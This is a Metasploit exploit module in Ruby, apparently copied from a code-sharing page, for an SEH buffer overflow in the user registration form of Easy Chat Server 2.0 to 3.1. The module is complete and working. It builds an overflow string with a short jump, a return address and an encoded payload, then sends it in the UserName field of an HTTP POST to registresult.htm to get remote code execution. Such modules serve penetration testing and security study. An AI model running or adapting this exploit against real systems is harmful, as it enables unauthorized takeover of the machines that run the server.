Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = NormalRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
15
      'Description'    => %q{
16
        This module exploits a buffer overflow during user registration in Easy Chat Server software.
17
      },
18
      'Author'         =>
19
        [
20
          'Marco Rivoli', #Metasploit
21
          'Aitezaz Mohsin' #POC
22
        ],
23
      'License'        => MSF_LICENSE,
24
      'References'     =>
25
        [
26
          [ 'EDB', '42155' ],
27
        ],
28
      'Privileged'     => true,
29
      'Payload'        =>
30
        {
31
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
32
        },
33
      'Platform'       => 'win',
34
      'Targets'        =>
35
        [
36
          [ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
37
        ],
38
      'DefaultOptions' => {
39
          'RPORT' => 80,
40
          'EXITFUNC' => 'thread',
41
          'ENCODER' => 'x86/alpha_mixed'
42
        },
43
      'DisclosureDate' => '2017-10-09',
44
      'DefaultTarget'  => 0))
45
  end
46

47
  def exploit
48
    sploit = rand_text_alpha_upper(217)
49
    sploit << "\xeb\x06\x90\x90"
50
    sploit << [target.ret].pack('V')
51
    sploit << payload.encoded
52
    sploit << rand_text_alpha_upper(200)
53

54
    res = send_request_cgi({
55
      'uri'    => normalize_uri(URI,'registresult.htm'),
56
      'method' => 'POST',
57
      'vars_post'  => {
58
        'UserName' => sploit,
59
        'Password' => 'test',
60
        'Password1' => 'test',
61
        'Sex' => 1,
62
        'Email' => 'x@',
63
        'Icon' => 'x.gif',
64
        'Resume' => 'xxxx',
65
        'cw' => 1,
66
        'RoomID' => 4,
67
        'RepUserName' => 'admin',
68
        'submit1' => 'Register'
69
      }
70
    })
71
    handler
72

73
  end
74
end
75

76